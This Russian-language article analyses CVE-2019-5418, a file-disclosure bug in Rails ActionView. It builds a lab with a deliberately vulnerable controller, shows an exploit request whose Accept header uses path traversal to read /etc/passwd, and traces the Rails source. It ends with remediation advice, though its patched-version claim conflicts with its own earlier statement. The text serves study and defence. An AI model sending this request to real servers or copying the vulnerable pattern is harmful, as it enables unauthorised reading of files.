Содержание статьи
Уязвимость имеет номер CVE-2019-5418 и заключается в раскрытии содержимого файла в компоненте ActionView. Специально сформированные заголовки Accept при выполнении контроллеров, в которых имеются конструкции render file:
, могут привести к чтению произвольных файлов на целевой системе. Уязвимы версии Ruby on Rails до 5.2.1.
Стенд
Демонстрацию уязвимости начинаем с конструирования стенда. Возьмем обычный контейнер Docker с Debian.
$ docker run --rm -p3000:3000 -ti --name=rails --hostname=rails debian /bin/bash
Устанавливаем Ruby, Bundler и некоторые зависимости.
$ apt-get -y update && apt-get install -y ruby bundler libsqlite3-dev zlibc zlib1g zlib1g-dev
Теперь установим фреймворк Rails уязвимой версии, например 5.2.1.
$ gem install rails -v 5.2.1
Далее нужно создать папку для тестового проекта, а в ней Gemfile — это список того, какие гемы и каких версий нужны разрабатываемому проекту.
$ mkdir ~/test && cd "$_"
$ echo "source 'https://rubygems.org'" >> Gemfile
$ echo "gem 'rails', '5.2.1'" >> Gemfile
$ echo "gem 'sqlite3', '~> 1.3.6', '< 1.4'" >> Gemfile
Теперь скачаем и установим все это дело.
$ bundle install
После этих манипуляций нужно создать приложение Rails из стандартного шаблона.
$ rails new . --force --skip-bundle
И снова установим необходимые гемы при помощи Bundle.
$ bundle install
Приложение готово, и можно запустить веб-сервер, чтобы проверить его работу.
$ rails s
Если все работает нормально, то создаем новый контроллер. Назовем его vuln
.
$ rails generate controller vuln
Фреймворк создаст необходимые файлы в директории с проектом. Откроем сам код контроллера app/controllers/vuln_controller.rb
и добавим в него уязвимый код.
app/controllers/vuln_controller.rb
class VulnController < ApplicationController
def index
render file: "#{Rails.root}/hello"
end
end
В качестве представления (view) можно указать путь до любого файла. Я создал файл hello
в корне проекта с содержимым «Hi there!».
Также нужно отредактировать файл с роутами config/routes.rb
и прописать там имя нашего контроллера.
config/routes.rb
Rails.application.routes.draw do
resources :vuln
end
Снова запустим веб-сервер.
Если теперь ты перейдешь по URI /vuln
, то увидишь строчку Hi there!
из файла hello
. Стенд готов.
Если тебя интересует отладка, то можешь воспользоваться удаленной (c некоторыми ограничениями). Я для этого возьму IDE RubyMine.
При запуске Docker нужно открыть еще один порт для подключения отладчика.
$ docker run --rm -p3000:3000 -p1234:1234 -ti --name=rails --hostname=rails debian /bin/bash
Затем нужно установить на обоих машинах гемы для дебага. Следи, чтобы они были одинаковых версий.
$ gem install ruby-debug-ide -v 0.7.0.beta7
$ gem install debase -v 0.2.3.beta5
Копируем проект на локальную машину, открываем его в RubyMine и добавляем конфигурацию удаленной отладки.
Указываем необходимые настройки. Обрати внимание на локальный и удаленный пути до проекта.
В поле Server command находится команда, которую нужно выполнить на сервере, чтобы начать слушать порт и ждать подключения отладчика. Вместо $COMMAND$
указываем строку для запуска сервера.
$ rdebug-ide --host 0.0.0.0 --port 1234 --dispatcher-port 26162 -- bin/rails s -b '0.0.0.0'
Теперь можно расставлять брейк-пойнты и наслаждаться отладкой.
Также никто не мешает отлаживать на этой же машине, вообще не используя Docker.
Детали
В этот раз начнем сразу с эксплоита, так как он очень прост. Нужно отправить запрос на уязвимый роут и указать в качестве заголовка Accept
конструкцию c path traversal и {{
в конце.
GET /vuln HTTP/1.1
Host: rails.vh:3000
Connection: close
Accept: ../../../../../../../../../../etc/passwd{{
В ответ получишь содержимое файла /etc/passwd
.
Теперь разберемся, что приводит к такому печальному поведению. Скачиваем исходники этой версии Rails. Метод render
может использовать в качестве представления файлы, которые находятся за пределами директории разрабатываемого приложения. Заглянем в файл template_renderer.rb
. При обработке опции file
вызывается метод find_file
, чтобы определить, какой шаблон будет отображен.
/actionview/lib/action_view/renderer/template_renderer.rb
05: module ActionView
06: class TemplateRenderer < AbstractRenderer #:nodoc:
07: def render(context, options)
08: @view = context
09: @details = extract_details(options)
10: template = determine_template(options)
...
22: def determine_template(options)
...
25: if options.key?(:body)
...
31: elsif options.key?(:file)
32: with_fallbacks { find_file(options[:file], nil, false, keys, @details) }
Посмотрим в тело метода.
/actionview/lib/action_view/lookup_context.rb
008: module ActionView
...
016: class LookupContext #:nodoc:
...
106: module ViewPaths
107: attr_reader :view_paths, :html_fallback_for_js
...
120: def find_file(name, prefixes = [], partial = false, keys = [], options = {})
121: @view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options))
122: end
Далее args_for_lookup
генерирует опции, которые необходимы для рендеринга вида.
/actionview/lib/action_view/lookup_context.rb
154: def args_for_lookup(name, prefixes, partial, keys, details_options)
155: name, prefixes = normalize_name(name, prefixes)
156: details, details_key = detail_args_for(details_options)
157: [name, prefixes, partial || false, details, details_key, keys]
158: end
После выполнения этого куска кода данные из заголовка Accept
оказываются в переменной details[format]
.
Затем вызывается @view_paths.find_file
.
/actionview/lib/action_view/path_set.rb
03: module ActionView #:nodoc:
...
11: class PathSet #:nodoc:
...
51: def find_file(path, prefixes = [], *args)
52: _find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
53: end
...
74: def _find_all(path, prefixes, args, outside_app)
75: prefixes = [prefixes] if String === prefixes
76: prefixes.each do |prefix|
77: paths.each do |resolver|
78: if outside_app
79: templates = resolver.find_all_anywhere(path, prefix, *args)
...
82: end
83: return templates unless templates.empty?
84: end
85: end
86: []
87: end
Файл находится за пределами директории приложения (app), поэтому переменная outside_app
установлена в значение True
и будет вызван метод find_all_anywhere
.
/actionview/lib/action_view/template/resolver.rb
010: module ActionView
011: # = Action View Resolver
012: class Resolver
013: # Keeps all information about view path and builds virtual path.
014: class Path
...
151: def find_all_anywhere(name, prefix, partial = false, details = {}, key = nil, locals = [])
152: cached(key, [name, prefix, partial], details, locals) do
153: find_templates(name, prefix, partial, details, true)
154: end
155: end
Далее вызов find_templates
начинает процесс генерации пути до файла представления.
/actionview/lib/action_view/template/resolver.rb
207: class PathResolver < Resolver #:nodoc:
208: EXTENSIONS = { locale: ".", formats: ".", variants: "+", handlers: "." }
209: DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"
210:
211: def initialize(pattern = nil)
212: @pattern = pattern || DEFAULT_PATTERN
213: super()
214: end
...
218: def find_templates(name, prefix, partial, details, outside_app_allowed = false)
219: path = Path.build(name, prefix, partial)
220: query(path, details, details[:formats], outside_app_allowed)
221: end
Обрати внимание на дефолтный паттерн (строка 209).
:prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}
Если ты легитимно обращаешься к /vuln
, то готовый паттерн будет выглядеть примерно так:
hello{.{en}.}{.{.},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}
В процессе вызывается метод query
, в качестве аргументов отправляется наша переменная details[:formats]
.
223: def query(path, details, formats, outside_app_allowed)
224: query = build_query(path, details)
225:
226: template_paths = find_template_paths(query)
...
239: end
240: end
Здесь в build_query
формируется шаблон поиска пути, из которого будет подгружен файл представления.
/actionview/lib/action_view/template/resolver.rb
261: def build_query(path, details)
262: query = @pattern.dup
263:
264: prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
265: query.gsub!(/:prefix(\/)?/, prefix)
266:
267: partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
268: query.gsub!(/:action/, partial)
269:
270: details.each do |ext, candidates|
271: if ext == :variants && candidates == :any
272: query.gsub!(/:#{ext}/, "*")
273: else
274: query.gsub!(/:#{ext}/, "{#{candidates.compact.uniq.join(',')}}")
275: end
276: end
277:
278: File.expand_path(query, @path)
279: end
Благодаря тому что переменная details[formats]
никак не фильтруется, атакующий имеет возможность внедрять произвольную строку в формат поиска файла представления. Используя конструкции ../
, мы осуществляем выход из директории и добираемся до пути /etc/passwd
, а две фигурные скобки в конце строки добавляем для того, чтобы конструкция получилась валидная. Таким образом мы как бы расширяем дефолтный паттерн. В итоге, после того как отработает File.expand_path
, строка для поиска файла представления будет иметь вид
/root/testapp/app/views/root/testapp/hello{.en,}{.../../../../../../../../../../etc/passwd{{,}{}{.raw,.erb,.html,.builder,.ruby,.coffee,.jbuilder,}
Дальше методы render_template
и render_with_layout
делают свое дело и загружают содержимое файла passwd
во время рендеринга.
/actionview/lib/action_view/renderer/template_renderer.rb
49: def render_template(template, layout_name = nil, locals = nil)
50: view, locals = @view, locals || {}
51:
52: render_with_layout(layout_name, locals) do |layout|
/actionview/lib/action_view/renderer/template_renderer.rb
59: def render_with_layout(path, locals)
60: layout = path && find_layout(path, locals.keys, [formats.first])
61: content = yield(layout)
62:
63: if layout
64: view = @view
65: view.view_flow.set(:layout, content)
66: layout.render(view, locals) { |*name| view._layout_for(*name) }
67: else
68: content
69: end
70: end
Эксплуатация успешно завершена.
Демонстрация уязвимости (видео)
Выводы
Вот такая банальная и одновременно опасная уязвимость. Советую проверить свои проекты на наличие конструкций вида render file:
, и, если они имеются, надо менять логику.
И советую обновить Rails до последних версий, если приложение это позволяет. Разработчики быстро отреагировали и выпустили патч для устранения этой уязвимости, версии 5.2.1 и старше ее лишены.